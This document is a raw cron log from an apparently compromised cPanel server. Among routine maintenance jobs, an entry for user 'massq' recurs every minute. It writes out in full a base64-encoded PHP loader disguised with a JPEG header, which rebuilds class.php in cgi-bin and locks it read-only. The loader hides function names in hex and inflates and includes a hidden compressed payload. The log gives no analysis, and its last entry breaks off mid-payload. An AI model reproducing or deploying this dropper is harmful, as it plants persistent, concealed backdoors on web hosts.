Sep  3 03:54:01 server CROND[15393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:54:01 server CROND[15394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:54:01 server CROND[15396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:55:01 server CROND[15781]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:55:01 server CROND[15783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:55:01 server CROND[15787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:55:01 server CROND[15791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:55:01 server CROND[15792]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:55:01 server CROND[15796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:55:01 server CROND[15795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:56:01 server CROND[16698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:56:01 server CROND[16699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:56:01 server CROND[16700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:57:01 server CROND[17089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:57:01 server CROND[17090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:57:01 server CROND[17092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:57:01 server CROND[17091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:58:01 server CROND[17479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:58:01 server CROND[17480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:58:01 server CROND[17481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:59:01 server CROND[17867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:59:01 server CROND[17869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:59:01 server CROND[17868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:00:01 server CROND[18269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:00:01 server CROND[18271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:00:01 server CROND[18287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:00:01 server CROND[18288]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 04:00:01 server CROND[18298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:00:01 server CROND[18295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:00:01 server CROND[18297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:00:01 server CROND[18296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:00:01 server CROND[18304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:00:01 server CROND[18299]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 04:01:01 server CROND[19240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:01:01 server CROND[19241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:01:01 server CROND[19242]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 04:01:01 server CROND[19243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:01:01 server run-parts(/etc/cron.hourly)[19242]: starting 0anacron
Sep  3 04:01:01 server run-parts(/etc/cron.hourly)[19262]: finished 0anacron
Sep  3 04:02:01 server CROND[19629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:02:01 server CROND[19630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:02:01 server CROND[19631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:03:01 server CROND[20005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:03:01 server CROND[20006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:03:01 server CROND[20007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:04:01 server CROND[20389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:04:01 server CROND[20390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:04:01 server CROND[20391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:05:01 server CROND[20796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:05:01 server CROND[20797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:05:01 server CROND[20806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:05:01 server CROND[20809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:05:01 server CROND[20811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:05:01 server CROND[20813]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:05:01 server CROND[20815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:05:01 server CROND[20817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0